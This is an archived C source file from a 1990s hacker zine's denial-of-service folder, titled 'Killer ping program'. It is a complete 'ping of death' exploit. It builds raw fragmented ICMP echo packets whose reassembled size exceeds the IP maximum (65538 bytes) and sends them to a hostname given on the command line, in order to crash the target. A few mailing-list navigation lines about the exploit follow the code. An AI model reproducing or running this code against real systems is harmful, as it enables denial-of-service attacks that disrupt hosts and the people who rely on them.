home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / pinger.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  3KB  |  97 lines

  1. /* Killer ping program */
  2. #include <stdio.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netdb.h>
  6. #include <netinet/in.h>
  7. #include <netinet/in_systm.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/ip_icmp.h>
  10.  
  11. /*
  12.  * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
  13.  * This is probably only Linux.
  14.  */
  15. #ifdef REALLY_RAW
  16. #define FIX(x)  htons(x)
  17. #else
  18. #define FIX(x)  (x)
  19. #endif
  20.  
  21. int
  22. main(int argc, char **argv)
  23. {
  24.         int s;
  25.         char buf[1500];
  26.         struct ip *ip = (struct ip *)buf;
  27.         struct icmp *icmp = (struct icmp *)(ip + 1);
  28.         struct hostent *hp;
  29.         struct sockaddr_in dst;
  30.         int offset;
  31.         int on = 1;
  32.  
  33.         bzero(buf, sizeof buf);
  34.  
  35.         if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
  36.                 perror("socket");
  37.                 exit(1);
  38.         }
  39.         if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
  40.                 perror("IP_HDRINCL");
  41.                 exit(1);
  42.         }
  43.         if (argc != 2) {
  44.                 fprintf(stderr, "usage: %s hostname\n", argv[0]);
  45.                 exit(1);
  46.         }
  47.         if ((hp = gethostbyname(argv[1])) == NULL) {
  48.                 if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
  49.                         fprintf(stderr, "%s: unknown host\n", argv[1]);
  50.                 }
  51.         } else {
  52.                 bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  53.         }
  54.         printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
  55.         ip->ip_v = 4;
  56.         ip->ip_hl = sizeof *ip >> 2;
  57.         ip->ip_tos = 0;
  58.         ip->ip_len = FIX(sizeof buf);
  59.         ip->ip_id = htons(4321);
  60.         ip->ip_off = FIX(0);
  61.         ip->ip_ttl = 255;
  62.         ip->ip_p = 1;
  63.         ip->ip_sum = 0;                 /* kernel fills in */
  64.         ip->ip_src.s_addr = 0;          /* kernel fills in */
  65.  
  66.         dst.sin_addr = ip->ip_dst;
  67.         dst.sin_family = AF_INET;
  68.  
  69.         icmp->icmp_type = ICMP_ECHO;
  70.         icmp->icmp_code = 0;
  71.         icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
  72.                 /* the checksum of all 0's is easy to compute */
  73.  
  74.         for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
  75.                 ip->ip_off = FIX(offset >> 3);
  76.                 if (offset < 65120)
  77.                         ip->ip_off |= FIX(IP_MF);
  78.                 else
  79.                         ip->ip_len = FIX(418);  /* make total 65538 */
  80.                 if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
  81.                                         sizeof dst) < 0) {
  82.                         fprintf(stderr, "offset %d: ", offset);
  83.                         perror("sendto");
  84.                 }
  85.                 if (offset == 0) {
  86.                         icmp->icmp_type = 0;
  87.                         icmp->icmp_code = 0;
  88.                         icmp->icmp_cksum = 0;
  89.                 }
  90.         }
  91. }
  92.  
  93.    * Next message: Kim Alm: "Re: Urgent !! Serious Linux Security Bug...."
  94.    * Previous message: Jon Lewis: "Re: Urgent !! Serious Linux Security
  95.      Bug...."
  96.    * Next in thread: Darren Reed: "Re: BoS: Ping exploit program"
  97.